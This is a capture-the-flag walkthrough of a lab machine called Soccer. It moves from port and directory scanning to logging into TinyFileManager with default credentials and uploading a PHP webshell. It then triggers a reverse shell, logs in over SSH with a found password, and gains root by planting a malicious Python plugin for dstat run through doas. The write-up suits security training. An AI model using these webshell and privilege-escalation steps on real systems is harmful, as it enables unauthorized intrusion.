1. Enumeration
Started with a service scan.
nmap -sC -sV 10.129.53.100
Port 80 redirected to soccer.htb. Added it to /etc/hosts.
2. Web Enumeration
Scanned against the vhost, not the raw IP. Scanning by IP triggered nginx's default catch-all and caused wildcard detection noise. Everything redirected to soccer.htb, making results useless.
gobuster dir -u http://soccer.htb \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -x php,html,txt -t 50
dirb's common.txt missed it. raft-medium-directories found it.
3. TinyFileManager: Default Credentials
Browsed to http://soccer.htb/tiny/tinyfilemanager.php. Tried the documented defaults.
admin / admin@123
Tried the H3K TinyFileManager RCE exploit first. It exited silently — its path logic assumed uploads landed at /tiny/uploads/ but the manager was writing to /var/www/html/. The verification request hit the wrong URL. Skipped the script and uploaded manually.
4. Webshell & Reverse Shell
Uploaded shell.php through the TinyFileManager UI as admin.
<?php system($_REQUEST['cmd']); ?>
Confirmed execution.
curl "http://soccer.htb/shell.php?cmd=id"
Started penelope on port 4444 and triggered a reverse shell through the webshell. Earlier attempts on ports 1337 and 1334 didn't connect — matching the listener to penelope's default 4444 worked.
penelope
www-data.
5. Lateral Move: SSH as player
www-data can't read player's flag directly.
cat /home/player/user.txt # Permission denied
Found credentials for player during enumeration. Tried them over SSH.
ssh player@10.129.53.100 # PlayerOftheMatch2022
Ran quick checks after getting in.
sudo -l # user player may not run sudo on localhost find / -type f -perm -4000 2>/dev/null # /usr/local/bin/doas
doas, OpenBSD's sudo alternative. Not a stock Ubuntu binary.
6. PrivEsc: doas + dstat Plugin RCE
Checked the doas config.
cat /usr/local/etc/doas.conf # permit nopass player as root cmd /usr/bin/dstat
Player can run dstat as root with no password. dstat loads Python plugins from fixed directories. Checked which ones were writable.
ls -la /usr/share/dstat # root:root 755 — not writable ls -la /usr/local/share/dstat # root:player 770 — writable by player
Dropped a malicious plugin into the writable directory.
echo 'import os; os.system("/bin/bash")' \
> /usr/local/share/dstat/dstat_pwn.py
Confirmed dstat picked it up, then triggered it.
doas /usr/bin/dstat --list # /usr/local/share/dstat: # pwn doas /usr/bin/dstat --pwn
whoami # root
~/.dstat/ failed. doas resets HOME by default (no keepenv), so ~ resolved to /root/.dstat, not writable by player. /usr/local/share/dstat was the actual writable path.
7. Flags
redactedredacted